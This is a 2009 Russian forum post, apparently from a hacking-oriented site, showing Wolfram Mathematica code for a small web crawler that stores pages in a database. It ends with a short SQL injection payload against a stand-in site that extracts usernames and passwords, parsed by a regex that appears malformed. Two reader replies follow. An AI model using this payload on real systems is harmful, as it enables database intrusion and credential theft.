Здравствуйте! В этой статье я бы хотел ещё раз напомнить всем о системе компьютерной алгебры Mathematica от фирмы Wolfram Research. Справка из Википедии: Mathematica — система компьютерной алгебры компании Wolfram Research. Содержит множество функций как для аналитических преобразований, так и для численных расчётов. Кроме того, программа поддерживает работу с графикой и звуком, включая построение двух- и трёхмерных графиков функций, рисование произвольных геометрических фигур, импорт и экспорт изображений и звука. Я бы не хотел размусоливать здесь общие сведения об этой программе и как ей пользоваться. Я хочу лишь на примере показать мощь Mathematica, которая проявляется не только в математических программах, но и в иных прикладных программах, в том числе хакерских. Заодно расскажу об основных функциях, нужных для этого. Для начала напишем web-краулер. Есть тысячи реализаций краулеров на самых разных языках. Но мне нравится моя весьма лаконичная и красивая реализация на Mathematica. Что ж, начну с того, что скажу, что в Mathematica есть встроенная СУБД DatabaseLink. Она позволяет управлять самыми разными видами баз данных прямо из Mathematica, то есть не нужно внешних СУБД. Для работы с DatabaseLink в программе надо добавить строчку Code: Needs["DatabaseLink`"] . Напишите в Notebook следующий код: Code: Needs["DatabaseLink`"] OpenSQLConnection[] Откроется GUI-программа для управления базами данных. Там Вы можете создать базу данных. Теперь насчёт извлечения web-страниц: это делается функцией Import[] (почитайте документацию), причём разработчики позаботились о нас и написали парсеры элементов страницы.Так что всё делается очень легко. Всё, больше не буду разводить воду и напишу сам код. Думаю всё итак понятно, но на всякий случай написал комментарии. Code: Needs["DatabaseLink`"] urli = "http://ya.ru" (*Любой URL для краулинга*) text = Import[urli] (* Импортируем страницу в виде plain-text (т.е. без html-тегов) *) title = Import[urli, "Title"] (* Импортируем <title>*) links = Import[urli, "Hyperlinks"](*Импортируем все ссылки*) conn = OpenSQLConnection["index", "Username" -> "indexer", "Password" -> "crawler"] (*Подключаемся к БД*) SQLConnection["index", 1, "Open", "<>"] SQLCreateTable[conn, SQLTable["iNDEX"], {SQLColumn["urli", "DataTypeName" -> "STRING"], SQLColumn["text", "DataTypeName" -> "STRING"], SQLColumn["title", "DataTypeName" -> "STRING"], SQLColumn["links", "DataTypeName" -> "STRING"]}]; (*Собственно, создаём таблицу*) SQLInsert[conn, "INDEX", {"urli", "text", "title", "links"}, {urli, text, title, links}] (*Закидываем данные в таблицу*) CloseSQLConnection[conn](*Отключаемся от БД*) Как видите, код очень короткий и интуитивно понятный. Из хакерских программ на Mathematica удобно писать сплойты, но к сожалению у меня нет готовых кодов, ибо я (пока) их не писал. Но суть такова: Code: urli = "http://victim.com" StringCases[Import[urli<>"news.php?id=-1+union+select+concat_ws('%3A','user','password'),2,3,4+from+users+limit+1,1/*"],RegularExpression["[^*:::*$"]] (*Парсим логин и пароль*) Это простейший вариант сплойта для простейшей инъекции. Конечно же для blind sql-инъекций код будет посложнее, будут циклы, по которым идёт перебор символов. Кстати циклы выглядят в Mathematica так: For[start,test,incr,body]. Я надеюсь Вас заинтересовала система компьютерной алгебры Wolfram Mathematica, и Вы захотите в ней разобраться. Вопросы можете задавать здесь. Удачи! (c) BECHED (aka Root-access) 2009, http://ahco.ru/topic1813.html
имхо, абсолютно нецелесообразное использование софта. я тоже иногда нож вместо линейки использую. так что теперь детям в школу ножики давать?
Это почему же не целесообразное?! Кто запрещает писать, скажем web-краулер на Mathematica? Эта система далеко не только для научных расчетов. Если удобно, то почему бы и нет? Кстати поисковик wolframalfa.com тоже на mathematica написан.